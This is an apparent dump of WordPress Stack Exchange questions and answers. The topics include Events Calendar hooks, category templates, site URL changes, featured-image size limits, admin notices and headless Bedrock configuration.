&lt;/div&gt;&lt;!-- #primary --&gt; &lt;?php get_sidebar(); ?&gt; &lt;?php get_footer(); ?&gt; </code></pre>
[ { "answer_id": 348673, "author": "Pat J", "author_id": 16121, "author_profile": "https://wordpress.stackexchange.com/users/16121", "pm_score": 1, "selected": false, "text": "<p>The Events Calendar stores the start and end dates as metadata. The keys are <code>_EventStartDate</code> and <code>_EventEndDate</code>.</p>\n\n<p>You can hook into this using the <a href=\"https://developer.wordpress.org/reference/hooks/updated_postmeta/\" rel=\"nofollow noreferrer\"><code>updated_postmeta</code></a> action hook:</p>\n\n<pre><code>add_action( 'updated_postmeta', 'wpse348671_updated_meta', 10, 4 );\nfunction wpse348671_updated_meta( $meta_id, $object_id, $meta_key, $meta_value ) {\n if ( '_EventStartDate' == $meta_key ) {\n // Create your 2nd post here.\n //The event start date is stored in the variable $meta_value.\n }\n}\n</code></pre>\n\n<p>This code is untested.</p>\n" }, { "answer_id": 348938, "author": "Mike Baxter", "author_id": 38628, "author_profile": "https://wordpress.stackexchange.com/users/38628", "pm_score": 1, "selected": true, "text": "<p>Modern Tribe has presented several articles to address issues like yours.</p>\n\n<p>Please take a look at their article \"<a href=\"https://theeventscalendar.com/tips-working-wordpress-actions-filters/\" rel=\"nofollow noreferrer\">Tips for Working With WordPress Actions and Filters</a>\" to see if you can track down the <code>do_action()</code> or <code>apply_filters()</code> statement that occurs after a post save or publish event.</p>\n\n<p>I believe you may want <code>add_action('tribe_events_update_meta','wpse_your_function', 10,3)</code>, found in <code>/src/Tribe/API.php</code>. Below is their documentation for this one:</p>\n\n<pre><code>/**\n * Allow hooking in after all event meta has been saved.\n *\n * @param int $event_id The event ID we are modifying meta for.\n * @param array $data The meta fields we want saved.\n * @param WP_Post $event The event itself.\n *\n * @since 4.6\n */\ndo_action( 'tribe_events_update_meta', $event_id, $data, $event );\n</code></pre>\n\n<p>You should check it out.</p>\n\n<p>If that works out, your code would be a modified version of what Pat J recommended:</p>\n\n<pre><code>add_action( 'tribe_events_update_meta', 'wpse348671_updated_meta', 10, 3 );\nfunction wpse348671_updated_meta( $event_id, $data, $event ) { \n // Update/create your 2nd post here.\n //The event start date should be stored in $data['EventStartDate']. \n\n // this should work too.\n $start = get_post_meta( $event_id, '_EventStartDate', true )\n}\n</code></pre>\n" } ]
2019/09/21
[ "https://wordpress.stackexchange.com/questions/348791", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/99384/" ]
My client wants to have the ability to call up a common category used in multiple custom post types. So if there is a common category of "budget", then a blog listing would come up with all the custom post types that have a category of "budget". I read up on a few examples here of using args for different post types, and pieced them together on a custom template called "page-category-budgeting.php". This is in a child theme based on Twenty-twelve. After testing and working through some debugging, I'm still without success. The latest error is "Parse error: syntax error, unexpected end of file in /home/acs10047/public\_html/wp-content/themes/moneysmartfamily/page-category-budgeting.php on line 53" But that is a blank line at the end of the code. I have nothing to go with to figure this out. Here is the template code. I must be missing something simple or overlooking how this should be set up. Could someone advise me as to what I'm missing? Thanks. ``` <?php /** * Template Name: Category - Budgeting * * * The template for displaying all pages. * * This is the template that displays all pages by default. * Please note that this is the WordPress construct of pages * and that other 'pages' on your WordPress site will use a * different template. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); $args = array('post_type' => array('post','media-appearance','members-archive','money-saving-tips','review'), 'posts_per_page' => '20', ); $this_query = new WP_Query( $args ); ?> <div id="primary" class="site-content"> <div id="content" role="main"> <?php while ( $this_query->have_posts()) : $this_query->the_post(); {?> <?php if( has_post_thumbnail() && ($cat == 'budget') ): ?> <div class="tip-excerpt"> <h1 class="entry-title"> <a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a> </h1> <div class="entry-content"> <a href="<?php the_permalink(); ?>"><?php the_post_thumbnail('thumbnail', array('class' => 'alignleft')); ?></a><?php the_excerpt(); ?> </div> </div> <?php endif; ?> <?php wp_reset_query(); ?> <?php // done the foreach statement ?> </div><!-- #content --> </div><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?> ```
Modern Tribe has presented several articles to address issues like yours. Please take a look at their article "[Tips for Working With WordPress Actions and Filters](https://theeventscalendar.com/tips-working-wordpress-actions-filters/)" to see if you can track down the `do_action()` or `apply_filters()` statement that occurs after a post save or publish event. I believe you may want `add_action('tribe_events_update_meta','wpse_your_function', 10,3)`, found in `/src/Tribe/API.php`. Below is their documentation for this one: ``` /** * Allow hooking in after all event meta has been saved. * * @param int $event_id The event ID we are modifying meta for. * @param array $data The meta fields we want saved. * @param WP_Post $event The event itself. * * @since 4.6 */ do_action( 'tribe_events_update_meta', $event_id, $data, $event ); ``` You should check it out. If that works out, your code would be a modified version of what Pat J recommended: ``` add_action( 'tribe_events_update_meta', 'wpse348671_updated_meta', 10, 3 ); function wpse348671_updated_meta( $event_id, $data, $event ) { // Update/create your 2nd post here. //The event start date should be stored in $data['EventStartDate']. // this should work too. $start = get_post_meta( $event_id, '_EventStartDate', true ) } ```
348,836
<p>I have changed my WordPress site url in wp-config.php by adding this two lines:</p> <pre><code>define( 'WP_HOME', 'http:// $new url' ); define( 'WP_SITEURL', 'http:// $new url' ); </code></pre> <p>almost everything working fine, but I have some plugins that still trying to get data from the old url, for example:</p> <pre><code>https://OLD URL/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.3.0 </code></pre> <p>there is another place that I should update the new url for the plugins?</p> <p>thanks</p>
[ { "answer_id": 348835, "author": "cjbj", "author_id": 75495, "author_profile": "https://wordpress.stackexchange.com/users/75495", "pm_score": 1, "selected": false, "text": "<p>There's a function called <a href=\"https://developer.wordpress.org/reference/functions/get_category_parents/\" rel=\"nofollow noreferrer\"><code>get_category_parents</code></a> that will return a list of parents based on the ID. You can then loop through this list to display the parents. </p>\n" }, { "answer_id": 348840, "author": "I'm a TI calculator", "author_id": 175313, "author_profile": "https://wordpress.stackexchange.com/users/175313", "pm_score": 0, "selected": false, "text": "<p><code>get_category_parents()</code> is a function which returns the category's parent <strong>based</strong> on the cat ID.<br>\nSo in this case to make it adaptable, we use <code>get_queried_object_id()</code> which will output the cat ID (<strong>number</strong>) of current object.</p>\n\n<p>It's as simple as :</p>\n\n<pre><code>$parents = get_category_parents( get_queried_object_id());\nif ( ! is_wp_error( $parents )) echo $parents;\n</code></pre>\n\n<p>It's good practice to implement the <strong>WP_Error</strong> fallback, mostly to avoid abritratry code execution.</p>\n\n<p>A little <strong>PHP</strong> breakdown for those beginning:</p>\n\n<ol>\n<li>we declare the variable <code>$parents</code></li>\n<li><code>$parents</code> will equal everything between the \"<strong>=</strong>\" sign and next semi-colon \"<strong>;</strong>\"</li>\n<li><code>get_queried_object_id()</code> returns the current object id (current category number)</li>\n<li>That number is piped in <code>get_category_parents()</code> -> <strong>i.e get_category_parents('26')</strong></li>\n<li>Last function returns name category 26 parent's name -> say 'Master Category' for example</li>\n<li>Semi-colon ! So end of this 'loop', simple way to think of it :</li>\n</ol>\n\n<p><code>$parents = get_category_parents(26)</code> -> <code>$parents = 'Master Category'</code></p>\n\n<p>i'll quickly breeze through the last part, you're all smart cookies eager to figure it all out on your own ;)</p>\n\n<ol start=\"7\">\n<li><strong>if</strong> <code>$parents</code> doesn't equal <code>wp_error</code> <strong>echo</strong> <code>$parents</code></li>\n</ol>\n\n<p>End of story !</p>\n" } ]
2019/09/22
[ "https://wordpress.stackexchange.com/questions/348836", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/175521/" ]
I have changed my WordPress site url in wp-config.php by adding this two lines: ``` define( 'WP_HOME', 'http:// $new url' ); define( 'WP_SITEURL', 'http:// $new url' ); ``` almost everything working fine, but I have some plugins that still trying to get data from the old url, for example: ``` https://OLD URL/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.3.0 ``` there is another place that I should update the new url for the plugins? thanks
There's a function called [`get_category_parents`](https://developer.wordpress.org/reference/functions/get_category_parents/) that will return a list of parents based on the ID. You can then loop through this list to display the parents.
348,927
<p>I would like to set minimum required size for featured image. I want to prevent using images smaller than the featured image size, because otherwise some images can be displayed improperly.</p> <p>For example, I set image size</p> <pre><code>add_image_size('article-retina', 758, 400, true); </code></pre> <p>but when I chose as featured image file smaller than this size, thumbnails with this size aren't generated so image will not be displayed properly.</p> <p>So is this can be done simply, or it's more complicated?</p>
[ { "answer_id": 348928, "author": "Mike Baxter", "author_id": 38628, "author_profile": "https://wordpress.stackexchange.com/users/38628", "pm_score": 1, "selected": false, "text": "<p>Add the following to your functions.php file. You can adjust the \"height\" and \"width\" dimensions as desired. This will reject uploaded images that fail to meet your minimum dimensions</p>\n\n<pre><code>add_filter('wp_handle_upload_prefilter','wpse_handle_upload_prefilter');\nfunction wpse_handle_upload_prefilter($file)\n{\n\n $image_types = array('png','jpg','jpeg','gif');\n $upload_type = explode('/',$file['type'])[1];\n $minimum = array('width' =&gt; '758', 'height' =&gt; '400'); \n\n // only check images...\n if (in_array($upload_type,$image_types)){\n\n $img = getimagesize($file['tmp_name']);\n $width = $img[0];\n $height = $img[1];\n\n if ($width &lt; $minimum['width'] ){\n return array(\"error\"=&gt;\"The uploaded image is too small. Minimum width is {$minimum['width']}px. The uploaded image width is {$width}px.\"); \n } elseif ($height &lt; $minimum['height']) {\n return array(\"error\"=&gt;\"The uploaded image is too small. Minimum height is {$minimum['height']}px. The uploaded image height is {$height}px.\");\n } else {\n return $file; \n } // end if width or height\n } // end if upload type is image type\n\n} // end function\n</code></pre>\n" }, { "answer_id": 348933, "author": "Mike Baxter", "author_id": 38628, "author_profile": "https://wordpress.stackexchange.com/users/38628", "pm_score": 1, "selected": true, "text": "<p>The best solution I can come up with is a two-parter which adds metadata, then filters the images users are allowed to select from. </p>\n\n<p>If I find a way to update the selector to add an alert, I'll add that as a separate answer.</p>\n\n<p>1st: Add image metadata that will allow us to filter images later</p>\n\n<pre><code>add_filter('wp_generate_attachment_metadata', 'wpse_add_meta', 10, 2);\nfunction wpse_add_meta($meta, $id){\n if (array_key_exists('height',$meta)){\n update_post_meta($id, 'height', (int) $meta['height']);\n update_post_meta($id, 'width', (int) $meta['width']);\n }\n return $meta;\n}\n</code></pre>\n\n<p>2d: Filter images returned by the Featured Image selector, using the new meta values for Height and Width (added in filter above).</p>\n\n<pre><code>add_filter('ajax_query_attachments_args', 'e2_attachments_ajax' );\nfunction e2_attachments_ajax($query){\n $minHeight = 400;\n $minWidth = 758;\n $query['meta_query'] = array(\n 'relation' =&gt; 'AND',\n array(\n 'key' =&gt; 'height',\n 'value' =&gt; $minHeight,\n 'type' =&gt; 'numeric',\n 'compare' =&gt; '&gt;',\n ),\n array(\n 'key' =&gt; 'width',\n 'value' =&gt; $minWidth,\n 'type' =&gt; 'numeric',\n 'compare' =&gt; '&gt;',\n )\n );\n\n return $query;\n}\n</code></pre>\n\n<p><strong>NOTE:</strong> For existing sites, you will want to run a process to update existing uploaded images. Run this after the you have added the first filter, \"wp_generate_attachment_metadata\" so it will update the height and width attributes. I recommend something like <a href=\"https://wordpress.org/plugins/ajax-thumbnail-rebuild/\" rel=\"nofollow noreferrer\">Ajax Rebuild Thumbnails</a>.</p>\n" } ]
2019/09/23
[ "https://wordpress.stackexchange.com/questions/348927", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125792/" ]
I would like to set minimum required size for featured image. I want to prevent using images smaller than the featured image size, because otherwise some images can be displayed improperly. For example, I set image size ``` add_image_size('article-retina', 758, 400, true); ``` but when I chose as featured image file smaller than this size, thumbnails with this size aren't generated so image will not be displayed properly. So is this can be done simply, or it's more complicated?
The best solution I can come up with is a two-parter which adds metadata, then filters the images users are allowed to select from. If I find a way to update the selector to add an alert, I'll add that as a separate answer. 1st: Add image metadata that will allow us to filter images later ``` add_filter('wp_generate_attachment_metadata', 'wpse_add_meta', 10, 2); function wpse_add_meta($meta, $id){ if (array_key_exists('height',$meta)){ update_post_meta($id, 'height', (int) $meta['height']); update_post_meta($id, 'width', (int) $meta['width']); } return $meta; } ``` 2d: Filter images returned by the Featured Image selector, using the new meta values for Height and Width (added in filter above). ``` add_filter('ajax_query_attachments_args', 'e2_attachments_ajax' ); function e2_attachments_ajax($query){ $minHeight = 400; $minWidth = 758; $query['meta_query'] = array( 'relation' => 'AND', array( 'key' => 'height', 'value' => $minHeight, 'type' => 'numeric', 'compare' => '>', ), array( 'key' => 'width', 'value' => $minWidth, 'type' => 'numeric', 'compare' => '>', ) ); return $query; } ``` **NOTE:** For existing sites, you will want to run a process to update existing uploaded images. Run this after the you have added the first filter, "wp\_generate\_attachment\_metadata" so it will update the height and width attributes. I recommend something like [Ajax Rebuild Thumbnails](https://wordpress.org/plugins/ajax-thumbnail-rebuild/).
348,951
<p>Basically: I want my work to be meaningful and efficient. I am considering making my local development AND staging database the same thing.</p> <p>I would develop on my local machine but have the SQL data stored on a web server. </p> <p>I could build the site and move the important parts to staging where I can give the client access for writing text when they want to supply their own copy. I could keep building other features and pages while the client edits the contents on the staging and the database stays up to date for both parties.</p> <p>I then sync project files (not database) from local to git + staging and client sees new pages up for text editing.</p> <p>Is this viable? Are there shortcomings I'm not foreseeing? Has anyone done this?</p> <p>If this is not how your agency does things, what's your way of development?</p>
[ { "answer_id": 348928, "author": "Mike Baxter", "author_id": 38628, "author_profile": "https://wordpress.stackexchange.com/users/38628", "pm_score": 1, "selected": false, "text": "<p>Add the following to your functions.php file. You can adjust the \"height\" and \"width\" dimensions as desired. This will reject uploaded images that fail to meet your minimum dimensions</p>\n\n<pre><code>add_filter('wp_handle_upload_prefilter','wpse_handle_upload_prefilter');\nfunction wpse_handle_upload_prefilter($file)\n{\n\n $image_types = array('png','jpg','jpeg','gif');\n $upload_type = explode('/',$file['type'])[1];\n $minimum = array('width' =&gt; '758', 'height' =&gt; '400'); \n\n // only check images...\n if (in_array($upload_type,$image_types)){\n\n $img = getimagesize($file['tmp_name']);\n $width = $img[0];\n $height = $img[1];\n\n if ($width &lt; $minimum['width'] ){\n return array(\"error\"=&gt;\"The uploaded image is too small. Minimum width is {$minimum['width']}px. The uploaded image width is {$width}px.\"); \n } elseif ($height &lt; $minimum['height']) {\n return array(\"error\"=&gt;\"The uploaded image is too small. Minimum height is {$minimum['height']}px. The uploaded image height is {$height}px.\");\n } else {\n return $file; \n } // end if width or height\n } // end if upload type is image type\n\n} // end function\n</code></pre>\n" }, { "answer_id": 348933, "author": "Mike Baxter", "author_id": 38628, "author_profile": "https://wordpress.stackexchange.com/users/38628", "pm_score": 1, "selected": true, "text": "<p>The best solution I can come up with is a two-parter which adds metadata, then filters the images users are allowed to select from. </p>\n\n<p>If I find a way to update the selector to add an alert, I'll add that as a separate answer.</p>\n\n<p>1st: Add image metadata that will allow us to filter images later</p>\n\n<pre><code>add_filter('wp_generate_attachment_metadata', 'wpse_add_meta', 10, 2);\nfunction wpse_add_meta($meta, $id){\n if (array_key_exists('height',$meta)){\n update_post_meta($id, 'height', (int) $meta['height']);\n update_post_meta($id, 'width', (int) $meta['width']);\n }\n return $meta;\n}\n</code></pre>\n\n<p>2d: Filter images returned by the Featured Image selector, using the new meta values for Height and Width (added in filter above).</p>\n\n<pre><code>add_filter('ajax_query_attachments_args', 'e2_attachments_ajax' );\nfunction e2_attachments_ajax($query){\n $minHeight = 400;\n $minWidth = 758;\n $query['meta_query'] = array(\n 'relation' =&gt; 'AND',\n array(\n 'key' =&gt; 'height',\n 'value' =&gt; $minHeight,\n 'type' =&gt; 'numeric',\n 'compare' =&gt; '&gt;',\n ),\n array(\n 'key' =&gt; 'width',\n 'value' =&gt; $minWidth,\n 'type' =&gt; 'numeric',\n 'compare' =&gt; '&gt;',\n )\n );\n\n return $query;\n}\n</code></pre>\n\n<p><strong>NOTE:</strong> For existing sites, you will want to run a process to update existing uploaded images. Run this after the you have added the first filter, \"wp_generate_attachment_metadata\" so it will update the height and width attributes. I recommend something like <a href=\"https://wordpress.org/plugins/ajax-thumbnail-rebuild/\" rel=\"nofollow noreferrer\">Ajax Rebuild Thumbnails</a>.</p>\n" } ]
2019/09/24
[ "https://wordpress.stackexchange.com/questions/348951", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/164729/" ]
Basically: I want my work to be meaningful and efficient. I am considering making my local development AND staging database the same thing. I would develop on my local machine but have the SQL data stored on a web server. I could build the site and move the important parts to staging where I can give the client access for writing text when they want to supply their own copy. I could keep building other features and pages while the client edits the contents on the staging and the database stays up to date for both parties. I then sync project files (not database) from local to git + staging and client sees new pages up for text editing. Is this viable? Are there shortcomings I'm not foreseeing? Has anyone done this? If this is not how your agency does things, what's your way of development?
The best solution I can come up with is a two-parter which adds metadata, then filters the images users are allowed to select from. If I find a way to update the selector to add an alert, I'll add that as a separate answer. 1st: Add image metadata that will allow us to filter images later ``` add_filter('wp_generate_attachment_metadata', 'wpse_add_meta', 10, 2); function wpse_add_meta($meta, $id){ if (array_key_exists('height',$meta)){ update_post_meta($id, 'height', (int) $meta['height']); update_post_meta($id, 'width', (int) $meta['width']); } return $meta; } ``` 2d: Filter images returned by the Featured Image selector, using the new meta values for Height and Width (added in filter above). ``` add_filter('ajax_query_attachments_args', 'e2_attachments_ajax' ); function e2_attachments_ajax($query){ $minHeight = 400; $minWidth = 758; $query['meta_query'] = array( 'relation' => 'AND', array( 'key' => 'height', 'value' => $minHeight, 'type' => 'numeric', 'compare' => '>', ), array( 'key' => 'width', 'value' => $minWidth, 'type' => 'numeric', 'compare' => '>', ) ); return $query; } ``` **NOTE:** For existing sites, you will want to run a process to update existing uploaded images. Run this after the you have added the first filter, "wp\_generate\_attachment\_metadata" so it will update the height and width attributes. I recommend something like [Ajax Rebuild Thumbnails](https://wordpress.org/plugins/ajax-thumbnail-rebuild/).
348,981
<p>I'm trying to fire an admin notice from within a <code>pre_insert_term</code> filter (have also tried it as an action). Example:</p> <pre class="lang-php prettyprint-override"><code>add_filter( 'pre_insert_term', 'pre_insert_term_action', 10, 2 ); function pre_insert_term_action( $term, $taxonomy ) { add_action( 'admin_notices', 'show_example_error' ); return $term; } function show_example_error() { ?&gt; &lt;div class="error"&gt; &lt;p&gt;My example warning message.&lt;/p&gt; &lt;/div&gt; &lt;?php } </code></pre> <p>So I add a tag in my post and hit the <em>Update</em> button, but it does not show me the admin notice as expected. If I put <code>die()</code> calls within both functions, it is showing me that the functions are firing as expected, first <code>pre_insert_term_action()</code> above, then <code>show_example_error()</code>.</p> <p>When I add my <code>admin_notices</code> action outside of the <code>pre_insert_term_action()</code> function scope, the admin notice does display. So if the functions are firing in the expected order, why is my admin notice not displaying if the action is added in the first firing function?</p> <p>There's an accepted answer in <a href="https://wordpress.stackexchange.com/questions/189745/showing-wp-error-message-with-admin-notice-action-hook">this related question</a> suggesting to use <code>add_settings_error()</code> but that didn't do anything that I can visibly see.</p> <p>I also find it weird that if I define a <code>$GLOBALS</code> variable in my <code>pre_insert_term_action()</code> function, it doesn't return a value when I call it in <code>show_example_error()</code>.</p>
[ { "answer_id": 349000, "author": "middlelady", "author_id": 93927, "author_profile": "https://wordpress.stackexchange.com/users/93927", "pm_score": 0, "selected": false, "text": "<p>I'd go for something like this:</p>\n\n<pre><code>function my_notices() {\n $screen = get_current_screen();\n if ($screen-&gt;id === 'your-id') { //or anything else\n if (isset($_GET['save'])) { // or $_SESSION or transient\n\n &lt;div class=\"error\"&gt;\n &lt;p&gt;My example warning message.&lt;/p&gt;\n &lt;/div&gt;\n\n &lt;?php }\n }\n}\nadd_action('admin_notices', 'my_notices');\n</code></pre>\n\n<p>Let's see the WP Screen object also. <a href=\"https://codex.wordpress.org/Class_Reference/WP_Screen\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Class_Reference/WP_Screen</a></p>\n\n<h2>EDIT</h2>\n\n<p>You can use <code>$_GET</code>, <code>$_SESSION</code> or check for transients set during <code>save_post</code> actions or similar, like the <code>pre_insert_term</code> filter. <a href=\"https://www.sitepoint.com/displaying-errors-from-the-save_post-hook-in-wordpress/\" rel=\"nofollow noreferrer\">Good explanation here</a>.</p>\n" }, { "answer_id": 349080, "author": "Talk Nerdy To Me", "author_id": 122776, "author_profile": "https://wordpress.stackexchange.com/users/122776", "pm_score": 3, "selected": true, "text": "<p>So it looks like there is some page redirecting going on in the post updating process, hence why I can't even access a <code>$GLOBALS</code> variable. The only alternative I found to use was to use a session variable. Something like:</p>\n\n<pre><code>add_filter( 'pre_insert_term', 'pre_insert_term_action', 10, 2 );\nadd_action( 'admin_notices', 'show_example_error' );\n\nfunction pre_insert_term_action( $term, $taxonomy ) {\n if ( MY CONDITION THAT WARRANTS A WARNING NOTICE IS TRUE ) {\n if ( session_id() === '' || ! isset($_SESSION) ) {\n session_start();\n }\n $_SESSION['show_my_error_message'] = true;\n return new WP_Error( 'code', 'message' );\n }\n return $term;\n}\n\nfunction show_example_error() {\n if ( session_id() === '' || ! isset($_SESSION) ) {\n session_start();\n }\n if ( isset($_SESSION['show_my_error_message']) ) {\n ?&gt;\n &lt;div class=\"error\"&gt;\n &lt;p&gt;My example warning message.&lt;/p&gt;\n &lt;/div&gt;\n &lt;?php\n unset($_SESSION['show_my_error_message']);\n }\n}\n</code></pre>\n" } ]
2019/09/24
[ "https://wordpress.stackexchange.com/questions/348981", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/122776/" ]
I'm trying to fire an admin notice from within a `pre_insert_term` filter (have also tried it as an action). Example: ```php add_filter( 'pre_insert_term', 'pre_insert_term_action', 10, 2 ); function pre_insert_term_action( $term, $taxonomy ) { add_action( 'admin_notices', 'show_example_error' ); return $term; } function show_example_error() { ?> <div class="error"> <p>My example warning message.</p> </div> <?php } ``` So I add a tag in my post and hit the *Update* button, but it does not show me the admin notice as expected. If I put `die()` calls within both functions, it is showing me that the functions are firing as expected, first `pre_insert_term_action()` above, then `show_example_error()`. When I add my `admin_notices` action outside of the `pre_insert_term_action()` function scope, the admin notice does display. So if the functions are firing in the expected order, why is my admin notice not displaying if the action is added in the first firing function? There's an accepted answer in [this related question](https://wordpress.stackexchange.com/questions/189745/showing-wp-error-message-with-admin-notice-action-hook) suggesting to use `add_settings_error()` but that didn't do anything that I can visibly see. I also find it weird that if I define a `$GLOBALS` variable in my `pre_insert_term_action()` function, it doesn't return a value when I call it in `show_example_error()`.
So it looks like there is some page redirecting going on in the post updating process, hence why I can't even access a `$GLOBALS` variable. The only alternative I found to use was to use a session variable. Something like: ``` add_filter( 'pre_insert_term', 'pre_insert_term_action', 10, 2 ); add_action( 'admin_notices', 'show_example_error' ); function pre_insert_term_action( $term, $taxonomy ) { if ( MY CONDITION THAT WARRANTS A WARNING NOTICE IS TRUE ) { if ( session_id() === '' || ! isset($_SESSION) ) { session_start(); } $_SESSION['show_my_error_message'] = true; return new WP_Error( 'code', 'message' ); } return $term; } function show_example_error() { if ( session_id() === '' || ! isset($_SESSION) ) { session_start(); } if ( isset($_SESSION['show_my_error_message']) ) { ?> <div class="error"> <p>My example warning message.</p> </div> <?php unset($_SESSION['show_my_error_message']); } } ```
348,992
<p>Working on my first decoupled site. Backend is handled by WordPress and lives on the subdomain <code>admin.mydomain.com</code> and the frontend lives at <code>mydomain.com</code>.</p> <p>The first issue I saw with the headless approach, was that all permalinks referred to <code>admin.mydomain.com</code>. I wanted to change that so that the backend referenced to my frontend.</p> <p>So I changed my config from:<br/> <code>WP_HOME='http://admin.mydomain.test'</code><br/> <code>WP_SITEURL='http://admin.domain.test/wp'</code></p> <p>to:<br/> <code>WP_HOME='http://mydomain.test'</code><br/> <code>WP_SITEURL='http://admin.domain.test/wp'</code></p> <p>which sorted my issue with the permalinks, but now I'm getting console errors on the WP dashboard because the plugins can't find the resources they need, for example ACF:</p> <pre><code>index.php:63 GET http://mydomain.test/app/plugins/advanced-custom-fields-pro/assets/css/acf-global.css?ver=5.8.4 net::ERR_NAME_NOT_RESOLVED </code></pre> <p>What would be the proper course of action to fix this?</p>
[ { "answer_id": 348997, "author": "INT", "author_id": 2830, "author_profile": "https://wordpress.stackexchange.com/users/2830", "pm_score": 3, "selected": true, "text": "<p>My quick and dirty fix looks like this (please note that I use Roots <a href=\"https://roots.io/bedrock/\" rel=\"nofollow noreferrer\">Bedrock</a>, so it differs from a vanilla WP install).</p>\n\n<ol>\n<li><p>In .env add this line <code>WP_HOME_ADMIN='http://admin.mydomain.test'</code> </p></li>\n<li><p>In application.php add this line, preferable just after where <code>WP_HOME</code> is\ndefined: <code>Config::define('WP_HOME_ADMIN', env('WP_HOME_ADMIN'));</code></p></li>\n<li><p>Somewhere after where <code>CONTENT_DIR</code> is defined, add this line: <code>Config::define('WP_PLUGIN_URL', Config::get('WP_HOME_ADMIN') . Config::get('CONTENT_DIR') .'/plugins');</code></p></li>\n</ol>\n" }, { "answer_id": 380825, "author": "Arman Shahinyan", "author_id": 96670, "author_profile": "https://wordpress.stackexchange.com/users/96670", "pm_score": 2, "selected": false, "text": "<p>I understand the question and answer are from more than a year ago, but I just wanted to add some additional information in hopes it might be useful for future visitors of this Question.</p>\n<hr />\n<p>Recently, while setting up a Headless WordPress CMS with Roots Bedrock, I came across the same issue and solved it with a slightly different version of your solution. I applied points 1 and 2 exactly the same, but did 3 a bit different.\nInstead of adding the new line, I changed the declaration of the WP_CONTENT_URL constant from this:</p>\n<pre><code>Config::define('WP_CONTENT_URL', Config::get('WP_HOME') . Config::get('CONTENT_DIR'));\n</code></pre>\n<p>to this:</p>\n<pre><code>Config::define('WP_CONTENT_URL', Config::get('WP_HOME_ADMIN') . Config::get('CONTENT_DIR'));\n</code></pre>\n<p>This solved the backend plugins paths and also the active theme's backend assets paths.</p>\n<hr />\n<p>But there was one final error: The WordPress REST API endpoint wasn't accessible in the backend, because it was being generated with the <code>get_home_url()</code> function, which returns the REST API endpoint appended to the frontend URL, instead of the <code>get_site_url()</code>.</p>\n<p>Looking for solutions for fixing the REST API URL I came across this <a href=\"https://wordpress.org/support/topic/different-wp_home-and-wp_siteurl-causes-cors-error/\" rel=\"nofollow noreferrer\">post answer</a> where the post author provides this filter function you can paste into your active theme's functions.php file for replacing the REST API URL's base with that of the backend URL:</p>\n<pre><code>/*\n * Fix Roots Bedrock WP REST API base endpoint\n */\nadd_filter( 'rest_url', function( $url ) {\n $pattern = '/(\\S+)(\\/wp\\/?)$/';\n $siteURL = preg_replace( $pattern, '${1}', site_url() );\n $url = str_replace( home_url(), $siteURL, $url );\n \n return $url;\n} );\n</code></pre>\n<p>The function replaces the Frontend URL with the Backend URL, and also removes the <code>/wp</code> part of the Roots Bedrock WordPress backend URL.</p>\n" } ]
2019/09/24
[ "https://wordpress.stackexchange.com/questions/348992", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/2830/" ]
Working on my first decoupled site. Backend is handled by WordPress and lives on the subdomain `admin.mydomain.com` and the frontend lives at `mydomain.com`. The first issue I saw with the headless approach, was that all permalinks referred to `admin.mydomain.com`. I wanted to change that so that the backend referenced to my frontend. So I changed my config from: `WP_HOME='http://admin.mydomain.test'` `WP_SITEURL='http://admin.domain.test/wp'` to: `WP_HOME='http://mydomain.test'` `WP_SITEURL='http://admin.domain.test/wp'` which sorted my issue with the permalinks, but now I'm getting console errors on the WP dashboard because the plugins can't find the resources they need, for example ACF: ``` index.php:63 GET http://mydomain.test/app/plugins/advanced-custom-fields-pro/assets/css/acf-global.css?ver=5.8.4 net::ERR_NAME_NOT_RESOLVED ``` What would be the proper course of action to fix this?
My quick and dirty fix looks like this (please note that I use Roots [Bedrock](https://roots.io/bedrock/), so it differs from a vanilla WP install). 1. In .env add this line `WP_HOME_ADMIN='http://admin.mydomain.test'` 2. In application.php add this line, preferable just after where `WP_HOME` is defined: `Config::define('WP_HOME_ADMIN', env('WP_HOME_ADMIN'));` 3. Somewhere after where `CONTENT_DIR` is defined, add this line: `Config::define('WP_PLUGIN_URL', Config::get('WP_HOME_ADMIN') . Config::get('CONTENT_DIR') .'/plugins');`
349,078
<p>I am trying to create a simple plugin that creates only one new post. The code I have written creates a the same new post every second. Below is the code I have. What would need to be added so it creates only one post?</p> <pre><code>&lt;?php /** *@package blog-poster */ /* Plugin Name: Blog Poster Plugin URI: http://www.litliving.com Description: This is a plugin for Litliving customers that allows for blog posts to be automatically posted. Version: 1.0.0 Author: Ben Smith Author URI: http://www.bengsmith.com */ if ( ! defined( 'ABSPATH') ){ die; } function AddThisPage() { global $wpdb; // Not sure if you need this, maybe $page = array( 'post_title' =&gt; 'My post!!!', 'post_content' =&gt; 'This is my post.', 'post_status' =&gt; 'publish', 'post_author' =&gt; 1, 'post_type' =&gt; 'post', ); wp_insert_post($page); } add_action( 'wp_insert_post', 'AddThisPage' ); register_activation_hook( __FILE__, 'AddThisPage' ); ?&gt; </code></pre>
